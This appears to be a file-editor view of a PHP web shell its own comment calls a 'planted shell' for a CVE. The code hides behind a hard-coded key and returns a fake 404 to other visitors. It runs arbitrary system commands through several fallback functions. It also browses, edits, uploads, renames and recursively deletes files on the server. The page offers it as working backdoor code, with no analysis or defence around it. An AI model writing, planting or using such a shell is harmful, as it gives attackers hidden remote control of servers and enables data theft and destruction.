← Back
Editing: sixenn45_d93897d0.php
<?php /* sixenn45 - CVE-2026-125812 planted shell */ $K='sixenn45'; if(!isset($_REQUEST['k'])||$_REQUEST['k']!==$K){if(!isset($_REQUEST['probe'])){http_response_code(404);exit;}echo "HERMES_WPR_OK";exit;} function h($s){return htmlspecialchars((string)$s,ENT_QUOTES);} function rrm($p){if(is_link($p)||is_file($p))return @unlink($p);foreach((array)@scandir($p) as $f){if($f==='.'||$f==='..')continue;rrm($p.'/'.$f);}return @rmdir($p);} function run($c){$o=null;if(function_exists('shell_exec')){$o=@shell_exec('('.$c.') 2>&1');}if(($o===null||$o==='')&&function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}if(($o===null||$o==='')&&function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}if(($o===null||$o==='')&&function_exists('popen')){$fp=@popen($c.' 2>&1','r');if($fp){$o='';while(!feof($fp)){$o.=fread($fp,8192);}@pclose($fp);}}if(($o===null||$o==='')&&function_exists('proc_open')){$d=[1=>['pipe','w'],2=>['pipe','w']];$pr=@proc_open($c,$d,$pp);if(is_resource($pr)){$o=@stream_get_contents($pp[1]).@stream_get_contents($pp[2]);@proc_close($pr);}}return (string)$o;} $cwd=isset($_REQUEST['d'])&&@is_dir($_REQUEST['d'])?rtrim($_REQUEST['d'],'/'):@getcwd(); if(!empty($_POST['mk'])&&!empty($_POST['name']))@mkdir($cwd.'/'.$_POST['name'],0755); if(!empty($_POST['del'])&&!empty($_POST['name']))rrm($cwd.'/'.$_POST['name']); if(!empty($_POST['ren'])&&!empty($_POST['name'])&&!empty($_POST['to']))@rename($cwd.'/'.$_POST['name'],$cwd.'/'.$_POST['to']); if(!empty($_POST['save'])&&isset($_POST['body']))@file_put_contents($cwd.'/'.$_POST['name'],$_POST['body']); if(!empty($_FILES['up']['tmp_name'])){@move_uploaded_file($_FILES['up']['tmp_name'],$cwd.'/'.basename($_FILES['up']['name']))?:@copy($_FILES['up']['tmp_name'],$cwd.'/'.basename($_FILES['up']['name']));} ?><!doctype html><meta charset=utf-8><title>sixenn45</title> <style>body{background:#0b0f14;color:#c9d1d9;font:13px monospace;padding:12px}a{color:#58a6ff;text-decoration:none} td,th{border-bottom:1px solid #21262d;padding:2px 6px;text-align:left;font-size:12px}table{border-collapse:collapse;width:100%} input,textarea{background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:4px;font:12px monospace} pre{background:#161b22;padding:8px;max-height:380px;overflow:auto;white-space:pre-wrap}.b{background:#21262d;border:0;color:#58a6ff;padding:4px 8px}</style> <?php $__u='?';if(function_exists('posix_geteuid')&&function_exists('posix_getpwuid')){$__a=@posix_getpwuid(@posix_geteuid());if($__a)$__u=$__a['name'];} $__hn=function_exists('gethostname')?@gethostname():''; ?> <h3>sixenn45 :: <?=h($__hn)?> :: <?=h($__u)?> :: <?=h($cwd)?></h3> <form method=post><input type=hidden name=k value=<?=$K?>><input type=hidden name=d value="<?=h($cwd)?>"> <input name=cmd placeholder=command style="width:60%"><button class=b>run</button></form> <?php if(!empty($_POST['cmd']))echo '<pre>'.h(run($_POST['cmd'])).'</pre>'; if(isset($_GET['edit']))echo '<h3>'.h($_GET['edit']).'</h3><form method=post><input type=hidden name=k value=<?=$K?>><input type=hidden name=d value="'.h($cwd).'"><input type=hidden name=name value="'.h($_GET['edit']).'"><textarea name=body style="width:100%;height:320px">'.h((string)@file_get_contents($cwd.'/'.$_GET['edit'])).'</textarea><button class=b name=save value=1>save</button></form>'; echo '<form method=post enctype="multipart/form-data"><input type=hidden name=k value=<?=$K?>><input type=hidden name=d value="'.h($cwd).'"><input type=file name=up><button class=b>upload</button></form>'; echo '<table><tr><th>name</th><th>size</th><th>mtime</th><th>act</th></tr><tr><td><a href="?k='.$K.'&d='.h(@dirname($cwd)).'">..</a></td><td></td><td></td><td></td></tr>'; foreach((array)@scandir($cwd) as $f){if($f==='.'||$f==='..')continue;$p=$cwd.'/'.$f;$isd=@is_dir($p); echo '<tr><td>'.($isd?'<a href="?k='.$K.'&d='.h($p).'">'.h($f).'/</a>':'<a href="?k='.$K.'&d='.h($cwd).'&edit='.h($f).'">'.h($f).'</a>').'</td><td>'.($isd?'-':number_format((int)@filesize($p))).'</td><td>'.@date('Y-m-d H:i',(int)@filemtime($p)).'</td>'; echo '<td><form method=post style="display:inline"><input type=hidden name=k value='.$K.'><input type=hidden name=d value="'.h($cwd).'"><input type=hidden name=name value="'.h($f).'"><input name=to size=8 placeholder=newname><button class=b name=ren value=1>ren</button> <button class=b name=del value=1>del</button></form></td></tr>';} echo '</table><form method=post><input type=hidden name=k value='.$K.'><input type=hidden name=d value="'.h($cwd).'"><input name=name placeholder=newdir><button class=b name=mk value=1>mkdir</button></form>';
Save File
Cancel